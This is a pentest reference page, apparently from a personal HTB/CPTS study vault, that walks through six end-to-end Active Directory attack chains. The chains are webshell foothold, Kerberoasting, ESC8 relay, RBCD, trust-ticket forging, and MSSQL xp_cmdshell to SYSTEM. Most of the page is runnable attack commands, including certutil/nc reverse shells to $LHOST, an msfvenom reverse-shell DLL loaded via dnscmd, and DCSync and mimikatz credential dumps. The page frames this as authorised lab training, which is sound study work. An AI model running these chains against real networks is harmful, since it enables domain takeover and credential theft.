title: "Appendix β Worked Chains" description: "Pentest attack-flow reference for appendix β worked chains in an authorised engagement." category: pentest-workflow subcategory: "Pentest Attack Flow" order: 16 tags: ["htb", "htb-attack-flow", "htb-attack-flow-appendix", "pentest-workflow"] tools: ["NetExec", "Impacket", "BloodHound CE", "Certipy", "Rubeus", "Responder", "bloodyAD", "mimikatz"] difficulty: advanced updated: "2026-08-29" source: "vault:Pentest Attack Flow/16 - Appendix - Worked Chains.md"#
[!dashboard] Attack-flow navigation Dashboard: HTB Pentest Attack Flow
Section: 16 of 17 Β· Focus: Appendix β Worked Chains
Previous: Stage 11 β Documentation and Reporting Β· Next: Tool Index
𧬠APPENDIX β Worked Chains (real boxes, stage-mapped)#
The guide is organised by technique; this is the other axis β how the techniques compose on real boxes. Each chain is annotated with the guide's stages [S#] so you can see the pattern and jump to the deep section. Pattern-recognition beats memorising commands: most AD boxes are enum β a foothold cred β BloodHound β one ACL/roast edge β DCSync.
Stage map: [S0]=Passive Recon Β· [S1]=Host Discovery Β· [S2]=Web Β· [S3]=Service Enum Β· [S4]=AD Enum Β· [S5]=Kerberos Β· [S6]=ACL Abuse Β· [S7]=ADCS Β· [S8]=Passwords Β· [S9]=PrivEsc Β· [S10]=Lateral/Loot Β· Trusts=Cross-Forest.
[!tip] The universal AD shape
[S1]scan β[S3/S4]null/anon enum for users+shares β a first credential (share loot, AS-REP roast, password in a description, a poisoned hash) β[S4]BloodHound as that user β[S5/S6/S7]the one edge that escalates (roast / ACL / delegation / ESC) β[S10]DCSync + PtH the Administrator. Every new cred = re-run BloodHound.
[!warning] Authorized lab use All chains below assume an authorized HTB/CPTS-style lab. Every AD write (ACEs, SPNs, RBCD, shadow creds) is reversible β record what you change and revert it (Stage 06 OPSEC).
Chain A β External web β foothold β privesc β DA (kerberoast + ESC8)#
The classic CPTS capstone shape: internet-facing web app on a domain-joined host, then the full internal AD grind. MITRE: T1190 (Exploit Public-Facing Application) β T1558.003 (Kerberoasting) β T1649 (ESC8).
[S0/S1]Recon. Subdomains, ports, vhosts:nmap -sCV -p- --min-rate 2000 -oA full $IP ffuf -u http://$TARGET -H "Host: FUZZ.$TARGET" -w $SECLISTS/Discovery/DNS/subdomains-top1million-5000.txt[S2]Web β RCE. Enumerate the app (ffuf dirs, tech fingerprint, known CVE). Upload a webshell matched to the stack β stage from the toolkit: nt-webshell-rosepine.aspx (SHA-256) for IIS, rp-shell.php (SHA-256) for PHP, rp-shell.jsp (SHA-256) for Tomcat (classic ASP: rp-shell.asp (SHA-256)).
Toolkit: nc64.exe (SHA-256)certutil -urlcache -split -f http://$LHOST:8000/nc64.exe C:\Windows\Temp\nc64.exe C:\Windows\Temp\nc64.exe $LHOST 443 -e cmd.exe[S9]Local privesc (if the shell lands as a service account β ofteniis apppool\...with SeImpersonatePrivilege):
Toolkit: GodPotato-NET4.exe (SHA-256) (or.\GodPotato-NET4.exe -cmd "C:\Windows\Temp\nc64.exe $LHOST 444 -e cmd.exe"GodPotato-NET35.exe,PrintSpoofer64.exe,SweetPotato.exeβ pick per OS build/Spooler state; see Stage 09).[S4]BloodHound as the foothold user/machine:
On-host alternative: SharpHound.zip (SHA-256)bloodhound-ce-python -d $DOMAIN -u "$U" -p "$P" -ns $DCIP -c All --zip[S5]Kerberoast an SPN account visible in the graph:
Deep dive: Stage 05.GetUserSPNs.py "$DOMAIN/$U:$P" -dc-ip $DCIP -request -outputfile kerb.hash hashcat -m 13100 kerb.hash $ROCKYOU -r /usr/share/hashcat/rules/best64.rule[S7]The cracked service account can reach AD CS. Find and exploit ESC8 (web enrollment + no EPA):
Toolkit: PetitPotam.py (SHA-256) Β· certipy: Certipy Β· relay: Impacket ntlmrelayx.certipy-ad find -u "$U@$DOMAIN" -p "$P" -dc-ip $DCIP -vulnerable -stdout ntlmrelayx.py -t http://ca.$DOMAIN/certsrv/certfnsh.asp -smb2support --adcs --template DomainController PetitPotam.py -u "$U" -p "$P" -d $DOMAIN $LHOST $DCIP # coerce DC auth to the relay[S10]Use the relayed DC cert β DCSync: the relay already droppedDC01$.pfxβ no manualreqneeded (the DomainController template has no enrollee-supplies-subject anyway):certipy-ad auth -pfx 'DC01$.pfx' -dc-ip $DCIP # -> DC01$ NT hash (+TGT) secretsdump.py "$DOMAIN/DC01\$@$DC" -hashes :$NT -just-dc # DCSync as the DC itself- Document & revert. Capture proof (
secretsdumpoutput, cert request IDs), remove the webshell and staged binaries, log ESC8 remediation (Stage 11).
[!example] When to reach for this chain Any box where the only ingress is 80/443 and the DC is not directly reachable. The web foothold host is your pivot into
[S4].
[!opsec] Detection notes Webshells (T1505.003) are the #1 caught artifact β use a random name, delete after. Coercion + relay (T1187, T1557.001) fires Defender for Identity and creates Event 4768/4769 anomalies. ESC8 cert requests appear on the CA β note request IDs for cleanup.
Chain B β ASREPRoast β GenericWrite β targeted kerberoast β DCSync#
No creds needed to start; pure identity attacks. MITRE: T1558.004 (AS-REP Roasting) β T1558.003 β T1003.006 (DCSync).
[S4]Build a user list without creds:
Toolkit: kerbrute_linux_amd64 (SHA-256)kerbrute userenum --dc $DCIP -d $DOMAIN $SECLISTS/Usernames/xato-net-10-million-usernames.txt enum4linux-ng -A $IP | tee enum.txt # or rpcclient -U "" -N β enumdomusers[S5]AS-REP roast the list (Stage 05):GetNPUsers.py $DOMAIN/ -usersfile users.txt -no-pass -dc-ip $DCIP -outputfile asrep.hash hashcat -m 18200 asrep.hash $ROCKYOU[S4]BloodHound as the cracked user (bloodhound-ce-python -c All) β the graph shows GenericWrite on a privileged service account (e.g.svc_sql).[S6]Targeted kerberoast β write an SPN onto the victim, roast it, clean up:
Toolkit: targetedKerberoast.py (SHA-256) β it removes the SPN afterwards; verify anyway (targetedKerberoast.py -d $DOMAIN -u "$U" -p "$P" --request-user svc_sql -o targeted.hash hashcat -m 13100 targeted.hash $ROCKYOUGet-ADUser svc_sql -Properties servicePrincipalName).[S6]The cracked svc_sql has GenericAll/WriteDACL on a DA-path group (or the domain root). Add DCSync rights:
On-host equivalent: StandIn_v13_Net35_45.zip (SHA-256)bloodyAD --host $DCIP -d $DOMAIN -u "$U" -p "$P" add dcsync svc_sql # or: dacledit.py -action write -rights DCSync -principal svc_sql -target-dn "DC=corp,DC=local" "$DOMAIN/$U:$P" -dc-ip $DCIP[S10]DCSync and PtH:secretsdump.py "$DOMAIN/svc_sql:$P@$DC" -just-dc-user administrator evil-winrm -i $DCIP -u administrator -H $NT- Revert: remove the DCSync ACE (
bloodyAD remove dcsync svc_sql), confirm the SPN cleanup, log it.
[!warning] Pitfalls
- AS-REP hash mode is 18200, not 13100 β read the
$krb5asrep$prefix.- GenericWrite β instant roast: you need the SPN write (targetedKerberoast) or shadow credentials (
pywhisker/ Whisker.exe (SHA-256)).WriteDACLon the domain root β DCSync; on a user β targeted roast/shadow creds; on a group β add member. Pick per object type.
Chain C β No creds at all: LLMNR poison β relay β LDAP β RBCD#
For flat networks where SMB signing is off and LDAP signing/channel binding aren't enforced. MITRE: T1557.001 (LLMNR/NBT-NS Poisoning) β T1003.006 via delegation abuse.
[S3]Poison and capture (Stage 03):
Toolkit: Inveigh.ps1 (SHA-256) (sudo responder -I eth0 -dwv # Windows-side when already on a host: InveighInvoke-Inveigh -ConsoleOutput Y).- Crack any NetNTLMv2 that drops (
hashcat -m 5600) β even one weak user unlocks[S4]BloodHound. [S3]Relay instead of crack β check signing first:nxc smb $SUBNET --gen-relay-list relay.txt # hosts with signing disabled- Relay to LDAP(S) β configure RBCD. Start
ntlmrelayxand drop a controlled machine account (Stage 06):
Trigger a lookup (ntlmrelayx.py -t ldap://$DCIP -smb2support --delegate-access --escalate-user 'EVILPC$' -l loot addcomputer.py -computer-name 'EVILPC$' -computer-pass 'Ev1lPass!' "$DOMAIN/$U:$P" -dc-ip $DCIP # if MAQ>0 and no relay createresponder -I eth0+ browse, or coerce with PetitPotam/Coercer) and the victim machine'smsDS-AllowedToActOnBehalfOfOtherIdentitynow trustsEVILPC$. [S5]S4U2Self β S4U2Proxy β impersonate Administrator to the victim:getST.py "$DOMAIN/EVILPC$:Ev1lPass!" -spn cifs/victim.$DOMAIN -impersonate administrator -dc-ip $DCIP export KRB5CCNAME=administrator@cifs_victim.$DOMAIN@$DOMAIN.ccache psexec.py -k -no-pass victim.$DOMAIN[S10]Loot & pivot:secretsdump.py -kthe victim, pivot onward with ligolo-ng β ligolo-ng_agent_linux_amd64.tar.gz (SHA-256) / ligolo-ng_agent_windows_amd64.zip (SHA-256) + chisel.exe (SHA-256) / chisel_linux_amd64 (SHA-256).
[!opsec] Relay caveats Relaying is loud: LLMNR/NBT-NS broadcasts + auth coercion are textbook Defender for Identity / honeypot bait (T1557.001). Never relay to a DC unless the engagement says so; never disable the Spooler service as a "fix" on a production box. LDAP relay requires LDAP signing off and (for LDAPS) channel binding off β check with
nxc ldap $DCIP -u '' -p '' -M ldap-checkerstyle modules before burning time.
Chain D β DA in child domain β forest root β cross-forest (SID history)#
The trusts capstone. MITRE: T1134 (SID-History Injection), T1550.003 (PtT). Deep dive: Domain Trusts and Cross-Forest.
- Map the trust topology (on-host:
nltest /domain_trusts, or PowerViewGet-DomainTrustβ PowerView.ps1 (SHA-256)):ldeep ldap -u "$U" -p "$P" -d child.$DOMAIN -s ldap://$DCIP trusts - Child β parent (intra-forest). Trust key β golden ticket with SID history (Enterprise Admins RID 519):
lookupsid.py "$DOMAIN/$U:$P@$DCIP" | head -3 # child domain SID secretsdump.py child/administrator@child-dc.child.$DOMAIN -just-dc-user 'CHILD\krbtgt' -hashes :$NT ticketer.py -nthash <KRBTGT_NT> -domain child.$DOMAIN -domain-sid S-1-5-21-... -extra-sid S-1-5-21-<PARENT>-519 administrator raiseChild.py child.$DOMAIN/$U:"$P" # one-shot alternative export KRB5CCNAME=administrator.ccache secretsdump.py -k parent.$DOMAIN/administrator@parent-dc.parent.$DOMAIN -just-dc - Forest β trusting forest (external/forest trust). From DA in forest A, dump the trust account hash for forest B:
Toolkit: mimikatz_trunk.zip (SHA-256)mimikatz.exe "lsadump::trust /patch" "exit" # or: secretsdump.py ... (trust accounts end in '$', e.g. TRUSTEDDOM$) ticketer.py -nthash <TRUST_NT> -domain forest-a.local -domain-sid S-1-5-21-A -extra-sid S-1-5-21-B-519 administrator [S10]Consume the ticket in the trusting forest:KRB5CCNAME=... secretsdump.py -k admin@dc.forest-b.local -just-dc.
[!warning] Gotchas
- SID filtering on external trusts strips SIDs <1000 from other forests β but intra-forest (parentβchild) never filters, which is why childβroot always works. Extra SID
-519(Enterprise Admins) for intra-forest; for cross-forest you may be limited to RIDs β₯1000 β inject a known admin group RID from forest B instead.- RC4 trust keys are the norm; if
KDC_ERR_ETYPE_NOSUPP, use AES (-aesKey).- Trust tickets are time-sensitive β
faketime/ntpdate first (Dashboard Quick Setup).
Chain E β MSSQL links β xp_cmdshell β SeImpersonate β SYSTEM#
SQL Server is a privilege-escalation engine when links and sysadmin line up. MITRE: T1505.001 (SQL Stored Procedures) β T1134 (Token Impersonation).
[S3]Find MSSQL and authenticate (creds from spray/roast/loot):nxc mssql $SUBNET -u "$U" -p "$P" --local-auth mssqlclient.py "$DOMAIN/$U:$P@$IP" -windows-auth- Enable
xp_cmdshellfor a command channel:
Or directly from nxc:EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'whoami';nxc mssql $IP -u "$U" -p "$P" --local-auth -x whoami. - Enumerate linked servers and impersonate along the chain:
nxc shortcut:EXEC sp_linkedservers; SELECT IS_SRVROLEMEMBER('sysadmin'); EXEC ('EXEC sp_configure ''xp_cmdshell'',1; RECONFIGURE') AT LINKED02; EXEC ('EXEC xp_cmdshell ''whoami''') AT LINKED02;nxc mssql $IP -u "$U" -p "$P" -M mssql_priv(finds impersonation paths). Each hop may re-authenticate as a more privileged login β walk links until you landsysadminon a high-value box. Metasploit'smssql_linkcrawlerautomates the crawl. [S9]SeImpersonate β SYSTEM. SQL service accounts (nt service\mssqlserver) almost always hold SeImpersonatePrivilege:
Toolkit: GodPotato-NET4.exe (SHA-256) β fallbacks: PrintSpoofer64.exe (SHA-256) (needs Spooler running), SweetPotato.exe (SHA-256), legacy JuicyPotato.exe (SHA-256) on pre-2019 builds..\GodPotato-NET4.exe -cmd "net localgroup administrators $U /add"[S10]Loot the host: dump local creds with LaZagne.exe (SHA-256), DPAPI blobs with SharpDPAPI.exe (SHA-256), then hunt domain shares with Snaffler.exe (SHA-256) β SQL boxes often hold connection strings with cleartext domain creds, feeding you back to[S4].
[!tip] CPTS exam tip MSSQL on 1433 with weak/linked creds is a favourite CPTS escalation. Always check
sp_linkedserversand impersonation before reaching for kernel exploits β the intended path is usually oneEXEC ... AT LINKaway.
Chain F β HTB box patterns (Forest Β· Resolute Β· Fluffy)#
Forest β AS-REP β Exchange-perms WriteDACL β DCSync#
[S3]RPC/LDAP null session lists domain users (rpcclient -U "" -Nβenumdomusers).[S5]svc-alfresco has no Kerberos preauth β AS-REP roast (GetNPUsers.py -no-pass) β crack (hashcat -m 18200against$ROCKYOU).[S4]BloodHound as svc-alfresco: it's in Account Operators + Exchange Windows Permissions (WriteDACL on the domain root).[S6]grant self DCSync (dacledit.py -action write -rights DCSync/bloodyAD add dcsync).[S10]secretsdump.py -just-dcβ PtH Administrator (evil-winrm -H $NT). Note: HTB-Forest.
Resolute β password in a description β spray β DnsAdmins DLL β SYSTEM#
[S4]LDAP/RPC enum surfaces a cleartext password in a user description field (Welcome123!) β always grep descriptions andinfofields (Stage 04).[S8]spray it across all users (nxc smb $DCIP -u users.txt -p 'Welcome123!' --continue-on-success) β hits melanie (Stage 08).[S10]WinRM in (evil-winrm -u melanie -p ...) β hunt the host, find creds for ryan (registryAutoLogon, console history).- ryan is in DnsAdmins β
[S9]load a malicious DLL into the DNS service:
β SYSTEM on the DC. Note: Resolute.msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f dll > rev.dll dnscmd $DC /config /serverlevelplugindll \\$LHOST\smb\rev.dll sc \\$DC stop dns && sc \\$DC start dns
Fluffy β file-format NTLM capture β Shadow Creds β ADCS#
[S3]writable SMB share β drop a malicious.library-ms(CVE-2025-24071) so opening the share coerces NTLM auth β capture with Responder.[S8]crack j.fleischman (hashcat -m 5600).[S4]BloodHound: GenericWrite onto service accounts.[S6]Shadow Credentials (bloodyAD add shadowCredentials/ pywhisker) to take winrm_svc, then again onto ca_svc. On-host equivalent: Whisker.exe (SHA-256).[S7]ca_svc can enroll a vulnerable template β ADCS ESC (certipy-ad find -vulnerableβreqβauth) β auth as DA β[S10]own the domain. Notes: HTB-Fluffy Β· Fluffy Attack Plan.
The web-to-AD pattern (many CPTS/AEN boxes)#
[S0/S2] external recon + web enum finds an app β [S2] an app-specific exploit (upload/LFI/known-CVE/thick-client creds) β foothold shell on a domain-joined host β [S9] local privesc if needed β [S4] you're now inside AD: BloodHound + LDAP cookbook as the machine/user β follow the AD shape above. The Attacking Enterprise Networks capstone is exactly this, end to end β see that sheet for the full INLANEFREIGHT chain written out command by command. Chain A above is this pattern written out step by step.
[!note] More box notes to mine for patterns Garfield (Season 10), the Pro-Lab chains (Dante, Zephyr), and the AD Track. Same shape scaled up: multiple hosts, pivots between segments (Stage 10), and trusts (Cross-Forest) once you're DA in the first domain.
[!example] Pattern-recognition cheat table
Box First cred Escalation edge DA via Forest AS-REP roast (svc-alfresco) Exchange WriteDACL on domain DCSync Resolute Description-field password β spray DnsAdmins Malicious DNS plugin DLL Fluffy NTLM capture via .library-ms GenericWrite β Shadow Creds ADCS ESC enroll Typical CPTS Share loot / kerberoast One ACL or ESC edge DCSync + PtH
[!navigation] Continue the attack flow Previous: Stage 11 β Documentation and Reporting
Dashboard: HTB Pentest Attack Flow
Next: Tool Index